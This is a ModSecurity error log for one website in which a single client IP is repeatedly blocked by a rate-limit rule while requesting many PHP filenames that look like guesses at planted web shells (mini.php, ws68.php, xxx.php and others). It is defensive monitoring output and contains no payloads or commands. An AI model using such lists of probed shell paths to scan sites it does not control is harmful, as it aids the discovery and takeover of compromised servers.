[Sat Apr 11 09:41:00.290361 2026] [:error] [pid 22756:tid 22773] [client 72.146.3.145:35806] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/an.php"] [unique_id "admmrGfoSJ40LEm6kfq-ngAAAA8"]
[Sat Apr 11 09:41:00.782611 2026] [:error] [pid 25460:tid 25471] [client 72.146.3.145:45688] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aboutc.php"] [unique_id "admmrJ4qILXFw3ifO2tywgAAAEk"]
[Sat Apr 11 09:41:01.242203 2026] [:error] [pid 25460:tid 25462] [client 72.146.3.145:45638] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aboutc.php"] [unique_id "admmrZ4qILXFw3ifO2tyyQAAAEA"]
[Sat Apr 11 09:41:01.757777 2026] [:error] [pid 25460:tid 25471] [client 72.146.3.145:51141] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aboutc.php"] [unique_id "admmrZ4qILXFw3ifO2ty0gAAAEk"]
[Sat Apr 11 09:41:02.416690 2026] [:error] [pid 25460:tid 25469] [client 72.146.3.145:63175] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aboutc.php"] [unique_id "admmrp4qILXFw3ifO2ty2QAAAEc"]
[Sat Apr 11 09:41:02.964886 2026] [:error] [pid 25460:tid 25471] [client 72.146.3.145:45677] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gdn.php"] [unique_id "admmrp4qILXFw3ifO2ty4AAAAEk"]
[Sat Apr 11 09:41:03.495331 2026] [:error] [pid 25460:tid 25474] [client 72.146.3.145:32029] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gdn.php"] [unique_id "admmr54qILXFw3ifO2ty5gAAAEw"]
[Sat Apr 11 09:41:03.982065 2026] [:error] [pid 25460:tid 25464] [client 72.146.3.145:47296] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gdn.php"] [unique_id "admmr54qILXFw3ifO2ty6AAAAEI"]
[Sat Apr 11 09:41:04.445321 2026] [:error] [pid 22665:tid 22732] [client 72.146.3.145:63221] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gdn.php"] [unique_id "admmsEgi15J0QUr6OrPqYwAAAYg"]
[Sat Apr 11 09:41:04.910975 2026] [:error] [pid 22663:tid 22683] [client 72.146.3.145:22547] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/first.php"] [unique_id "admmsI1p7ez17BT2hZYPEQAAAQ8"]
[Sat Apr 11 09:41:05.390890 2026] [:error] [pid 25460:tid 25480] [client 72.146.3.145:22538] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/first.php"] [unique_id "admmsZ4qILXFw3ifO2ty7wAAAFI"]
[Sat Apr 11 09:41:05.855315 2026] [:error] [pid 25460:tid 25483] [client 72.146.3.145:32053] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/first.php"] [unique_id "admmsZ4qILXFw3ifO2ty8gAAAFU"]
[Sat Apr 11 09:41:06.321553 2026] [:error] [pid 25460:tid 25464] [client 72.146.3.145:22538] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/first.php"] [unique_id "admmsp4qILXFw3ifO2ty9wAAAEI"]
[Sat Apr 11 09:41:06.856917 2026] [:error] [pid 25460:tid 25476] [client 72.146.3.145:51143] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/redixsx.php"] [unique_id "admmsp4qILXFw3ifO2ty-QAAAE4"]
[Sat Apr 11 09:41:07.329951 2026] [:error] [pid 25460:tid 25469] [client 72.146.3.145:22534] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/redixsx.php"] [unique_id "admms54qILXFw3ifO2ty_gAAAEc"]
[Sat Apr 11 09:41:07.794613 2026] [:error] [pid 25460:tid 25466] [client 72.146.3.145:40043] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/redixsx.php"] [unique_id "admms54qILXFw3ifO2tzBQAAAEQ"]
[Sat Apr 11 09:41:08.347388 2026] [:error] [pid 22665:tid 22730] [client 72.146.3.145:40012] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/redixsx.php"] [unique_id "admmtEgi15J0QUr6OrPqbwAAAYY"]
[Sat Apr 11 09:41:08.828650 2026] [:error] [pid 22663:tid 22680] [client 72.146.3.145:53677] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cpp2.php"] [unique_id "admmtI1p7ez17BT2hZYPFwAAAQw"]
[Sat Apr 11 09:41:09.291528 2026] [:error] [pid 22665:tid 22748] [client 72.146.3.145:55256] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cpp2.php"] [unique_id "admmtUgi15J0QUr6OrPqcwAAAZg"]
[Sat Apr 11 09:41:09.801243 2026] [:error] [pid 22756:tid 22782] [client 72.146.3.145:32014] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cpp2.php"] [unique_id "admmtWfoSJ40LEm6kfq-pgAAABg"]
[Sat Apr 11 09:41:10.343519 2026] [:error] [pid 22756:tid 22775] [client 72.146.3.145:53641] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cpp2.php"] [unique_id "admmtmfoSJ40LEm6kfq-pwAAABE"]
[Sat Apr 11 09:41:10.904357 2026] [:error] [pid 22756:tid 22771] [client 72.146.3.145:32044] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admlo.php"] [unique_id "admmtmfoSJ40LEm6kfq-qgAAAA0"]
[Sat Apr 11 09:41:11.375206 2026] [:error] [pid 25460:tid 25466] [client 72.146.3.145:47315] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admlo.php"] [unique_id "admmt54qILXFw3ifO2tzIAAAAEQ"]
[Sat Apr 11 09:41:11.867126 2026] [:error] [pid 25460:tid 25465] [client 72.146.3.145:28749] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admlo.php"] [unique_id "admmt54qILXFw3ifO2tzJgAAAEM"]
[Sat Apr 11 09:41:12.401282 2026] [:error] [pid 25460:tid 25475] [client 72.146.3.145:40007] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admlo.php"] [unique_id "admmuJ4qILXFw3ifO2tzKgAAAE0"]
[Sat Apr 11 09:41:12.905948 2026] [:error] [pid 25460:tid 25476] [client 72.146.3.145:28762] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin-ajax.php"] [unique_id "admmuJ4qILXFw3ifO2tzLwAAAE4"]
[Sat Apr 11 09:41:13.389326 2026] [:error] [pid 25460:tid 25462] [client 72.146.3.145:18951] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin-ajax.php"] [unique_id "admmuZ4qILXFw3ifO2tzNAAAAEA"]
[Sat Apr 11 09:41:13.933958 2026] [:error] [pid 22663:tid 22682] [client 72.146.3.145:45024] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin-ajax.php"] [unique_id "admmuY1p7ez17BT2hZYPHgAAAQ4"]
[Sat Apr 11 09:41:14.410014 2026] [:error] [pid 22665:tid 22724] [client 72.146.3.145:4622] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin-ajax.php"] [unique_id "admmukgi15J0QUr6OrPqfwAAAYA"]
[Sat Apr 11 09:41:14.934031 2026] [:error] [pid 22756:tid 22772] [client 72.146.3.145:38905] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amthd.php"] [unique_id "admmumfoSJ40LEm6kfq-vAAAAA4"]
[Sat Apr 11 09:41:15.428324 2026] [:error] [pid 22756:tid 22780] [client 72.146.3.145:39192] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amthd.php"] [unique_id "admmu2foSJ40LEm6kfq-wQAAABY"]
[Sat Apr 11 09:41:15.912589 2026] [:error] [pid 22756:tid 22763] [client 72.146.3.145:45020] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amthd.php"] [unique_id "admmu2foSJ40LEm6kfq-xAAAAAU"]
[Sat Apr 11 09:41:16.486686 2026] [:error] [pid 22664:tid 22704] [client 72.146.3.145:29666] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amthd.php"] [unique_id "admmvARS_OPFpcXOZmWPTgAAAUc"]
[Sat Apr 11 09:41:16.972616 2026] [:error] [pid 25460:tid 25477] [client 72.146.3.145:35776] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8xyz.php"] [unique_id "admmvJ4qILXFw3ifO2tzQQAAAE8"]
[Sat Apr 11 09:41:17.546621 2026] [:error] [pid 22665:tid 22731] [client 72.146.3.145:45671] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8xyz.php"] [unique_id "admmvUgi15J0QUr6OrPqiwAAAYc"]
[Sat Apr 11 09:41:18.024790 2026] [:error] [pid 22756:tid 22766] [client 72.146.3.145:39185] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8xyz.php"] [unique_id "admmvmfoSJ40LEm6kfq-ywAAAAg"]
[Sat Apr 11 09:41:18.484904 2026] [:error] [pid 22664:tid 22711] [client 72.146.3.145:49950] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8xyz.php"] [unique_id "admmvgRS_OPFpcXOZmWPVAAAAU4"]
[Sat Apr 11 09:41:18.968113 2026] [:error] [pid 25460:tid 25462] [client 72.146.3.145:53387] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mini.php"] [unique_id "admmvp4qILXFw3ifO2tzSwAAAEA"]
[Sat Apr 11 09:41:19.429684 2026] [:error] [pid 22663:tid 22674] [client 72.146.3.145:18540] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mini.php"] [unique_id "admmv41p7ez17BT2hZYPJQAAAQY"]
[Sat Apr 11 09:41:19.898730 2026] [:error] [pid 22664:tid 22700] [client 72.146.3.145:4632] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mini.php"] [unique_id "admmvwRS_OPFpcXOZmWPWwAAAUM"]
[Sat Apr 11 09:41:20.463840 2026] [:error] [pid 22756:tid 22777] [client 72.146.3.145:22934] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mini.php"] [unique_id "admmwGfoSJ40LEm6kfq-6AAAABM"]
[Sat Apr 11 09:41:20.928958 2026] [:error] [pid 25460:tid 25473] [client 72.146.3.145:18516] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws68.php"] [unique_id "admmwJ4qILXFw3ifO2tzcQAAAEs"]
[Sat Apr 11 09:41:21.391003 2026] [:error] [pid 25460:tid 25462] [client 72.146.3.145:39228] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws68.php"] [unique_id "admmwZ4qILXFw3ifO2tzdAAAAEA"]
[Sat Apr 11 09:41:21.876511 2026] [:error] [pid 22665:tid 22731] [client 72.146.3.145:44314] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws68.php"] [unique_id "admmwUgi15J0QUr6OrPquQAAAYc"]
[Sat Apr 11 09:41:22.417962 2026] [:error] [pid 22756:tid 22776] [client 72.146.3.145:30793] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws68.php"] [unique_id "admmwmfoSJ40LEm6kfq-8AAAABI"]
[Sat Apr 11 09:41:22.880578 2026] [:error] [pid 25460:tid 25486] [client 72.146.3.145:53173] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxx.php"] [unique_id "admmwp4qILXFw3ifO2tzfwAAAFg"]
[Sat Apr 11 09:41:23.348066 2026] [:error] [pid 22663:tid 22671] [client 72.146.3.145:44331] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxx.php"] [unique_id "admmw41p7ez17BT2hZYPSAAAAQM"]
[Sat Apr 11 09:41:23.837412 2026] [:error] [pid 22665:tid 22725] [client 72.146.3.145:30791] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxx.php"] [unique_id "admmw0gi15J0QUr6OrPqxAAAAYE"]
[Sat Apr 11 09:41:24.316781 2026] [:error] [pid 22756:tid 22781] [client 72.146.3.145:4637] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxx.php"] [unique_id "admmxGfoSJ40LEm6kfq-9QAAABc"]
[Sat Apr 11 09:41:24.808193 2026] [:error] [pid 25460:tid 25480] [client 72.146.3.145:53123] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/njxjtooj.php"] [unique_id "admmxJ4qILXFw3ifO2tziQAAAFI"]
[Sat Apr 11 09:41:25.383274 2026] [:error] [pid 25460:tid 25477] [client 72.146.3.145:56516] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/njxjtooj.php"] [unique_id "admmxZ4qILXFw3ifO2tzjwAAAE8"]
[Sat Apr 11 09:41:25.944838 2026] [:error] [pid 22665:tid 22730] [client 72.146.3.145:39214] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/njxjtooj.php"] [unique_id "admmxUgi15J0QUr6OrPqzgAAAYY"]
[Sat Apr 11 09:41:26.509886 2026] [:error] [pid 22665:tid 22741] [client 72.146.3.145:44289] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/njxjtooj.php"] [unique_id "admmxkgi15J0QUr6OrPq0AAAAZE"]
[Sat Apr 11 09:41:27.072213 2026] [:error] [pid 22664:tid 22719] [client 72.146.3.145:53274] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws85.php"] [unique_id "admmxwRS_OPFpcXOZmWPmAAAAVY"]
[Sat Apr 11 09:41:27.650156 2026] [:error] [pid 25460:tid 25466] [client 72.146.3.145:53121] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws85.php"] [unique_id "admmx54qILXFw3ifO2tzmwAAAEQ"]
[Sat Apr 11 09:41:28.139889 2026] [:error] [pid 25460:tid 25462] [client 72.146.3.145:45051] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws85.php"] [unique_id "admmyJ4qILXFw3ifO2tznwAAAEA"]
